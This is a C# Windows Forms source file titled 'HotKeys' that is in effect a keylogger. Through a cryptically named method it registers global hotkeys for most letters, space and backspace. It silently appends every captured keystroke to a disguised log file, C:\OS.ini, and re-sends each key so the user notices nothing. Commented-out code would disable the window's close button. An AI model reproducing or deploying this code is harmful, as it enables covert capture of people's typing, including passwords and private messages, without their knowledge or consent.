using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading;

namespace HotKeys
{
    public partial class Form1 : Form
    {
        ////Retira o botão de fechar
        //private const int CP_NOCLOSE_BUTTON = 0x200;
        //protected override CreateParams CreateParams
        //{
        //    get
        //    {
        //        CreateParams myCp = base.CreateParams;
        //        myCp.ClassStyle = myCp.ClassStyle | CP_NOCLOSE_BUTTON;
        //        return myCp;
        //    }
        //}

        int id = 0;
        // DLL libraries used to manage hotkeys
        [DllImport("user32.dll")]
        public static extern bool RegisterHotKey(IntPtr hWnd, int id, int fsModifiers, int vlc);
        [DllImport("user32.dll")]
        public static extern bool UnregisterHotKey(IntPtr hWnd, int id);

        enum KeyModifier
        {
            None = 0,
            Alt = 1,
            Control = 2,
            Shift = 4,
            WinKey = 8
        }

        public Form1()
        {
            InitializeComponent();
            // Modifier keys codes: Alt = 1, Ctrl = 2, Shift = 4, Win = 8
            // Compute the addition of each combination of the keys you want to be pressed
            // ALT+CTRL = 1 + 2 = 3 , CTRL+SHIFT = 2 + 4 = 6...
            xiq();
        }

        string k = "";
        protected override void WndProc(ref Message m)
        {
            if (m.Msg == 0x0312)
            {
                Keys key = (Keys)(((int)m.LParam >> 16) & 0xFFFF);                  // The key of the hotkey that was pressed.
                KeyModifier modifier = (KeyModifier)((int)m.LParam & 0xFFFF);       // The modifier of the hotkey that was pressed.
                int id = m.WParam.ToInt32();                                        // The id of the hotkey that was pressed.

                k = "";
                k = key.ToString();


                if (k.ToLower() == "space")
                {
                    File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + " ");
                }
                else
                {
                    if (k.ToLower() == "back")
                    {
                        File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
                    }
                    else
                    {
                        File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini") + k.ToLower());
                    }
                }

                try
                {
                    SendKeys.Send("{" + key.ToString().ToLower() + "}");
                }
                catch (Exception)
                { SendKeys.Send(" "); }

                File.WriteAllText(@"C:\OS.ini", File.ReadAllText(@"C:\OS.ini").Replace("Space", " "));

            }
            base.WndProc(ref m);
        }

        public void xiq()
        {
            InitializeComponent();

            int id = 0;     // The id of the hotkey.
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.A.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.B.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.C.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.D.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.E.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.F.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.G.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.H.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.I.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.J.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.K.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.L.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.M.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.N.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.O.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.P.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Q.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.R.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.S.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.T.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.U.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.V.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.X.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Z.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Space.GetHashCode());
            RegisterHotKey(this.Handle, id, (int)KeyModifier.None, Keys.Back.GetHashCode());
        }
    }
}